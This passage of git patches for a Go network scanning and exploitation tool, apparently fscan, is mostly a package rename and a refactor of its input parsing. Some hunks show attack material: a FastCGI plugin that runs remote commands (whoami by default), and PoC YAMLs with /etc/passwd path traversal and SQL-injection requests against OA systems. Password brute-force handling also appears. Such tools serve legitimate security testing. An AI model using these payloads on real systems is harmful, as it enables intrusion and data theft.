Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } @@ -242,7 +242,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { if conn != nil { defer func() { if err := recover(); err != nil { - common.LogError(err) + Common.LogError(err) } }() conn.Close() diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index a14776c..ba7b696 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,8 +6,8 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "io" "strconv" "strings" @@ -22,14 +22,14 @@ import ( // FcgiScan 执行FastCGI服务器漏洞扫描 func FcgiScan(info *Config.HostInfo) error { // 如果设置了暴力破解模式则跳过 - if common.IsBrute { + if Common.IsBrute { return nil } // 设置目标URL路径 url := "/etc/issue" - if common.Path != "" { - url = common.Path + if Common.Path != "" { + url = Common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) @@ -38,10 +38,10 @@ func FcgiScan(info *Config.HostInfo) error { var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 switch { - case common.Command == "read": + case Common.Command == "read": reqParams = "" // 读取模式 - case common.Command != "": - reqParams = fmt.Sprintf("", common.Command, cutLine) // 自定义命令 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 default: reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } @@ -65,7 +65,7 @@ func FcgiScan(info *Config.HostInfo) error { } // 建立FastCGI连接 - fcgi, err := New(addr, common.Timeout) + fcgi, err := New(addr, Common.Timeout) defer func() { if fcgi.rwc != nil { fcgi.rwc.Close() @@ -97,7 +97,7 @@ func FcgiScan(info *Config.HostInfo) error { result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", info.Host, info.Ports, output) } - common.LogSuccess(result) + Common.LogSuccess(result) } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { @@ -109,7 +109,7 @@ func FcgiScan(info *Config.HostInfo) error { result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", info.Host, info.Ports, output) } - common.LogSuccess(result) + Common.LogSuccess(result) } return nil @@ -187,7 +187,7 @@ type FCGIClient struct { } func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) fcgi = &FCGIClient{ rwc: conn, keepAlive: false, diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 5dcc449..0a6dc18 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -3,8 +3,8 @@ package WebScan import ( "crypto/md5" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "regexp" ) @@ -39,7 +39,7 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string { if len(infoname) > 0 { result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) - common.LogSuccess(result) + Common.LogSuccess(result) return infoname } return []string{""} diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index a2e3ca3..15025bb 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,9 +3,9 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" @@ -20,7 +20,7 @@ var AllPocs []*lib.Poc func WebScan(info *Config.HostInfo) { once.Do(initpoc) - var pocinfo = common.Pocinfo + var pocinfo = Common.Pocinfo buf := strings.Split(info.Url, "/") pocinfo.Target = strings.Join(buf[:3], "/") @@ -34,25 +34,25 @@ func WebScan(info *Config.HostInfo) { } } -func Execute(PocInfo common.PocInfo) { +func Execute(PocInfo Common.PocInfo) { req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) - common.LogError(errlog) + Common.LogError(errlog) return } - req.Header.Set("User-agent", common.UserAgent) - req.Header.Set("Accept", common.Accept) + req.Header.Set("User-agent", Common.UserAgent) + req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Cookie != "" { - req.Header.Set("Cookie", common.Cookie) + if Common.Cookie != "" { + req.Header.Set("Cookie", Common.Cookie) } pocs := filterPoc(PocInfo.PocName) - lib.CheckMultiPoc(req, pocs, common.PocNum) + lib.CheckMultiPoc(req, pocs, Common.PocNum) } func initpoc() { - if common.PocPath == "" { + if Common.PocPath == "" { entries, err := Pocs.ReadDir("pocs") if err != nil { fmt.Printf("[-] init poc error: %v", err) @@ -67,8 +67,8 @@ func initpoc() { } } } else { - fmt.Println("[+] load poc from " + common.PocPath) - err := filepath.Walk(common.PocPath, + fmt.Println("[+] load poc from " + Common.PocPath) + err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil { return err diff --git a/WebScan/info/rules.go b/WebScan/info/Rules.go similarity index 98% rename from WebScan/info/rules.go rename to WebScan/info/Rules.go index e7184db..d4d1dd5 100644 --- a/WebScan/info/rules.go +++ b/WebScan/info/Rules.go @@ -72,7 +72,7 @@ var RuleDatas = []RuleData{ {"atmail-WebMail", "cookie", "(atmail6)"}, {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, - {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, + {"致远OA", "code", "(/seeyon/Common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, {"discuz", "code", "(content=\"Discuz! X\")"}, {"Typecho", "code", "(Typecho)"}, {"金蝶EAS", "code", "(easSessionId)"}, @@ -88,10 +88,10 @@ var RuleDatas = []RuleData{ {"CISCO_EPC3925", "code", "(Docsis_system)"}, {"CISCO ASR", "code", "(CISCO ASR)"}, {"H3C ER3200", "code", "(ER3200系统管理)"}, - {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"}, + {"万户oa", "code", "(/defaultroot/templates/template_system/Common/css/|/defaultroot/scripts/|css/css_whir.css)"}, {"Spark_Master", "code", "(Spark Master at)"}, {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, - {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"}, + {"蓝凌OA", "code", "(/scripts/jquery.landray.Common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp)"}, {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, @@ -229,14 +229,14 @@ var RuleDatas = []RuleData{ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, - {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/Common)"}, {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"}, {"weblogic", "headers", "(WebLogic)"}, - {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"}, - {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, + {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/Common/)"}, + {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.Common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"}, {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"}, {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"}, @@ -246,7 +246,7 @@ var RuleDatas = []RuleData{ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, - {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, + {"JEECMS", "code", "(/r/cms/www/red/js/Common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, {"目录遍历", "code", "(Directory listing for /)"}, {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"}, diff --git a/WebScan/lib/check.go b/WebScan/lib/Check.go similarity index 97% rename from WebScan/lib/check.go rename to WebScan/lib/Check.go index 7dec98d..be706a4 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/Check.go @@ -4,8 +4,8 @@ import ( "crypto/md5" "fmt" "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "math/rand" "net/http" "net/url" @@ -34,7 +34,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { isVul, _, name := executePoc(task.Req, task.Poc) if isVul { result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) - common.LogSuccess(result) + Common.LogSuccess(result) } wg.Done() } @@ -82,7 +82,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { for _, item := range p.Set { k, expression := item.Key, item.Value if expression == "newReverse()" { - if !common.DnsLog { + if !Common.DnsLog { return false, nil, "" } variableMap[k] = newReverse() @@ -240,7 +240,7 @@ func optimizeCookies(rawCookie string) (output string) { } func newReverse() *Reverse { - if !common.DnsLog { + if !Common.DnsLog { return &Reverse{} } letters := "1234567890abcdefghijklmnopqrstuvwxyz" @@ -280,7 +280,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, look: for j, item := range setsMap { //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { + if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && j >= 10 { if item[1] == "cbc" { continue } else { @@ -356,15 +356,15 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if success { if rule.Continue { if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) } continue } strMap = append(strMap, tmpMap...) if i == len(p.Rules)-1 { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) //防止后续继续打印poc成功信息 return false, nil } diff --git a/WebScan/lib/client.go b/WebScan/lib/Client.go similarity index 94% rename from WebScan/lib/client.go rename to WebScan/lib/Client.go index cbc5754..66b48ad 100644 --- a/WebScan/lib/client.go +++ b/WebScan/lib/Client.go @@ -6,7 +6,7 @@ import ( "embed" "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "golang.org/x/net/proxy" "gopkg.in/yaml.v2" "net" @@ -25,14 +25,14 @@ var ( ) func Inithttp() { - //common.Proxy = "http://127.0.0.1:8080" - if common.PocNum == 0 { - common.PocNum = 20 + //Common.Proxy = "http://127.0.0.1:8080" + if Common.PocNum == 0 { + Common.PocNum = 20 } - if common.WebTimeout == 0 { - common.WebTimeout = 5 + if Common.WebTimeout == 0 { + Common.WebTimeout = 5 } - err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) + err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) if err != nil { panic(err) } @@ -56,8 +56,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err DisableKeepAlives: false, } - if common.Socks5Proxy != "" { - dialSocksProxy, err := common.Socks5Dailer(dialer) + if Common.Socks5Proxy != "" { + dialSocksProxy, err := Common.Socks5Dailer(dialer) if err != nil { return err } diff --git a/WebScan/lib/eval.go b/WebScan/lib/Eval.go similarity index 99% rename from WebScan/lib/eval.go rename to WebScan/lib/Eval.go index 0f652e1..0143277 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/Eval.go @@ -12,7 +12,7 @@ import ( "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" "io" "math/rand" @@ -563,7 +563,7 @@ func randomString(n int) string { } func reverseCheck(r *Reverse, timeout int64) bool { - if ceyeApi == "" || r.Domain == "" || !common.DnsLog { + if ceyeApi == "" || r.Domain == "" || !Common.DnsLog { return false } time.Sleep(time.Second * time.Duration(timeout)) @@ -627,7 +627,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { defer oResp.Body.Close() resp, err := ParseResponse(oResp) if err != nil { - common.LogError("[-] ParseResponse error: " + err.Error()) + Common.LogError("[-] ParseResponse error: " + err.Error()) //return nil, err } return resp, err diff --git a/WebScan/lib/shiro.go b/WebScan/lib/Shiro.go similarity index 100% rename from WebScan/lib/shiro.go rename to WebScan/lib/Shiro.go diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index 6debdd1..547f5b8 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -2,12 +2,12 @@ name: poc-yaml-ruoyi-management-fileread groups: linux: - method: GET - path: /common/download/resource?resource=/profile/../../../../etc/passwd + path: /Common/download/resource?resource=/profile/../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET - path: /common/download/resource?resource=/profile/../../../../Windows/win.ini + path: /Common/download/resource?resource=/profile/../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml index c104494..a5e467a 100644 --- a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml +++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 210000000) rules: - method: GET - path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml index 9933b52..324cdd3 100644 --- a/WebScan/pocs/yonyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 220000000) rules: - method: GET - path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) diff --git a/common/config.go b/common/config.go index 4bc2e69..6dd46ae 100644 --- a/common/config.go +++ b/common/config.go @@ -1,4 +1,4 @@ -package common +package Common var version = "1.8.4" var Userdict = map[string][]string{ diff --git a/common/flag.go b/common/flag.go index 972903d..d941ff0 100644 --- a/common/flag.go +++ b/common/flag.go @@ -1,4 +1,4 @@ -package common +package Common import ( "flag" diff --git a/common/log.go b/common/log.go index 7f48f51..78db646 100644 --- a/common/log.go +++ b/common/log.go @@ -1,4 +1,4 @@ -package common +package Common import ( "encoding/json" diff --git a/common/proxy.go b/common/proxy.go index 780c9d0..69a27e5 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -1,4 +1,4 @@ -package common +package Common import ( "errors" diff --git a/main.go b/main.go index 680866d..b4bc409 100644 --- a/main.go +++ b/main.go @@ -2,17 +2,17 @@ package main import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Plugins" - "github.com/shadow1ng/fscan/common" "time" ) func main() { start := time.Now() var Info Config.HostInfo - common.Flag(&Info) - common.Parse(&Info) + Common.Flag(&Info) + Common.Parse(&Info) Plugins.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From 0eeda0879d5aac4cf0614001f8cac57a913bda96 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:06:38 +0800 Subject: [PATCH 11/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Parse.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Parse.go | 300 +++++++++++++++++++++++++++++++----------------- 1 file changed, 192 insertions(+), 108 deletions(-) diff --git a/Common/Parse.go b/Common/Parse.go index 127e19a..114a3df 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -19,143 +19,211 @@ func Parse(Info *Config.HostInfo) { ParseScantype(Info) } -func ParseUser() { +// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 +func ParseUser() error { + // 如果未指定用户名和用户名文件,直接返回 if Username == "" && Userfile == "" { - return - } - var Usernames []string - if Username != "" { - Usernames = strings.Split(Username, ",") + return nil } + var usernames []string + + // 处理直接指定的用户名列表 + if Username != "" { + usernames = strings.Split(Username, ",") + fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) + } + + // 从文件加载用户名列表 if Userfile != "" { users, err := Readfile(Userfile) - if err == nil { - for _, user := range users { - if user != "" { - Usernames = append(Usernames, user) - } + if err != nil { + return fmt.Errorf("读取用户名文件失败: %v", err) + } + + // 过滤空用户名 + for _, user := range users { + if user != "" { + usernames = append(usernames, user) } } + fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) } - Usernames = RemoveDuplicate(Usernames) + // 去重处理 + usernames = RemoveDuplicate(usernames) + fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) + + // 更新用户字典 for name := range Userdict { - Userdict[name] = Usernames + Userdict[name] = usernames } + + return nil } -func ParsePass(Info *Config.HostInfo) { - var PwdList []string +// ParsePass 解析密码、哈希值、URL和端口配置 +func ParsePass(Info *Config.HostInfo) error { + // 处理直接指定的密码列表 + var pwdList []string if Password != "" { - passs := strings.Split(Password, ",") - for _, pass := range passs { + passes := strings.Split(Password, ",") + for _, pass := range passes { if pass != "" { - PwdList = append(PwdList, pass) + pwdList = append(pwdList, pass) } } - Passwords = PwdList + Passwords = pwdList + fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) } + + // 从文件加载密码列表 if Passfile != "" { - passs, err := Readfile(Passfile) - if err == nil { - for _, pass := range passs { - if pass != "" { - PwdList = append(PwdList, pass) - } - } - Passwords = PwdList + passes, err := Readfile(Passfile) + if err != nil { + return fmt.Errorf("读取密码文件失败: %v", err) } + for _, pass := range passes { + if pass != "" { + pwdList = append(pwdList, pass) + } + } + Passwords = pwdList + fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) } + + // 处理哈希文件 if Hashfile != "" { - hashs, err := Readfile(Hashfile) - if err == nil { - for _, line := range hashs { - if line == "" { - continue - } - if len(line) == 32 { - Hashs = append(Hashs, line) - } else { - fmt.Println("[-] len(hash) != 32 " + line) - } + hashes, err := Readfile(Hashfile) + if err != nil { + return fmt.Errorf("读取哈希文件失败: %v", err) + } + + validCount := 0 + for _, line := range hashes { + if line == "" { + continue + } + if len(line) == 32 { + Hashs = append(Hashs, line) + validCount++ + } else { + fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line) } } + fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) } + + // 处理直接指定的URL列表 if URL != "" { urls := strings.Split(URL, ",") - TmpUrls := make(map[string]struct{}) + tmpUrls := make(map[string]struct{}) for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} Urls = append(Urls, url) } } } + fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls)) } + + // 从文件加载URL列表 if UrlFile != "" { urls, err := Readfile(UrlFile) - if err == nil { - TmpUrls := make(map[string]struct{}) - for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { - Urls = append(Urls, url) - } + if err != nil { + return fmt.Errorf("读取URL文件失败: %v", err) + } + + tmpUrls := make(map[string]struct{}) + for _, url := range urls { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} + Urls = append(Urls, url) } } } + fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) } + + // 从文件加载端口列表 if PortFile != "" { ports, err := Readfile(PortFile) - if err == nil { - newport := "" - for _, port := range ports { - if port != "" { - newport += port + "," - } - } - Ports = newport + if err != nil { + return fmt.Errorf("读取端口文件失败: %v", err) } + + var newport strings.Builder + for _, port := range ports { + if port != "" { + newport.WriteString(port) + newport.WriteString(",") + } + } + Ports = newport.String() + fmt.Printf("[*] 已从文件加载端口配置\n") } + + return nil } +// Readfile 读取文件内容并返回非空行的切片 func Readfile(filename string) ([]string, error) { + // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) - os.Exit(0) + fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err) + return nil, err } defer file.Close() + var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + + // 逐行读取文件内容 + lineCount := 0 for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) if text != "" { - content = append(content, scanner.Text()) + content = append(content, text) + lineCount++ } } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err) + return nil, err + } + + fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) return content, nil } -func ParseInput(Info *Config.HostInfo) { +// ParseInput 解析和验证输入参数配置 +func ParseInput(Info *Config.HostInfo) error { + // 检查必要的目标参数 if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { - fmt.Println("Host is none") + fmt.Println("[!] 未指定扫描目标") flag.Usage() - os.Exit(0) + return fmt.Errorf("必须指定扫描目标") } + // 配置基本参数 if BruteThread <= 0 { BruteThread = 1 + fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread) } - if TmpSave == true { + if TmpSave { IsSave = false + fmt.Println("[*] 已启用临时保存模式") } + // 处理端口配置 if Ports == DefaultPorts { Ports += "," + Webport } @@ -166,74 +234,90 @@ func ParseInput(Info *Config.HostInfo) { } else { Ports += "," + PortAdd } + fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd) } + // 处理用户名配置 if UserAdd != "" { - user := strings.Split(UserAdd, ",") - for a := range Userdict { - Userdict[a] = append(Userdict[a], user...) - Userdict[a] = RemoveDuplicate(Userdict[a]) + users := strings.Split(UserAdd, ",") + for dict := range Userdict { + Userdict[dict] = append(Userdict[dict], users...) + Userdict[dict] = RemoveDuplicate(Userdict[dict]) } + fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd) } + // 处理密码配置 if PassAdd != "" { - pass := strings.Split(PassAdd, ",") - Passwords = append(Passwords, pass...) + passes := strings.Split(PassAdd, ",") + Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) + fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd) } - if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { - if !strings.Contains(Socks5Proxy, ":") { - Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy - } else { - Socks5Proxy = "socks5://" + Socks5Proxy - } - } + + // 处理Socks5代理配置 if Socks5Proxy != "" { - fmt.Println("Socks5Proxy:", Socks5Proxy) + if !strings.HasPrefix(Socks5Proxy, "socks5://") { + if !strings.Contains(Socks5Proxy, ":") { + Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy + } else { + Socks5Proxy = "socks5://" + Socks5Proxy + } + } + _, err := url.Parse(Socks5Proxy) if err != nil { - fmt.Println("Socks5Proxy parse error:", err) - os.Exit(0) + return fmt.Errorf("Socks5代理格式错误: %v", err) } NoPing = true - } - if Proxy != "" { - if Proxy == "1" { - Proxy = "http://127.0.0.1:8080" - } else if Proxy == "2" { - Proxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(Proxy, "://") { - Proxy = "http://127.0.0.1:" + Proxy - } - fmt.Println("Proxy:", Proxy) - if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { - fmt.Println("no support this proxy") - os.Exit(0) - } - _, err := url.Parse(Proxy) - if err != nil { - fmt.Println("Proxy parse error:", err) - os.Exit(0) - } + fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) } - if Hash != "" && len(Hash) != 32 { - fmt.Println("[-] Hash is error,len(hash) must be 32") - os.Exit(0) - } else { + // 处理HTTP代理配置 + if Proxy != "" { + switch Proxy { + case "1": + Proxy = "http://127.0.0.1:8080" + case "2": + Proxy = "socks5://127.0.0.1:1080" + default: + if !strings.Contains(Proxy, "://") { + Proxy = "http://127.0.0.1:" + Proxy + } + } + + if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + return fmt.Errorf("不支持的代理类型") + } + + _, err := url.Parse(Proxy) + if err != nil { + return fmt.Errorf("代理格式错误: %v", err) + } + fmt.Printf("[*] 使用代理: %s\n", Proxy) + } + + // 处理Hash配置 + if Hash != "" { + if len(Hash) != 32 { + return fmt.Errorf("Hash长度必须为32位") + } Hashs = append(Hashs, Hash) } + + // 处理Hash列表 Hashs = RemoveDuplicate(Hashs) for _, hash := range Hashs { - hashbyte, err := hex.DecodeString(Hash) + hashByte, err := hex.DecodeString(hash) if err != nil { - fmt.Println("[-] Hash is error,hex decode error ", hash) + fmt.Printf("[!] Hash解码失败: %s\n", hash) continue - } else { - HashBytes = append(HashBytes, hashbyte) } + HashBytes = append(HashBytes, hashByte) } Hashs = []string{} + + return nil } // ParseScantype 解析扫描类型并设置对应的端口 From 56c4453c7fde8948d6c71f017ca6aea8b21a5e54 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:17:08 +0800 Subject: [PATCH 12/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ParseIP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseIP.go | 338 ++++++++++++++++++++++++++++++---------------- 1 file changed, 222 insertions(+), 116 deletions(-) diff --git a/Common/ParseIP.go b/Common/ParseIP.go index 316b319..8d2c4df 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -13,62 +13,79 @@ import ( "strings" ) -var ParseIPErr = errors.New(" host parsing error\n" + - "format: \n" + - 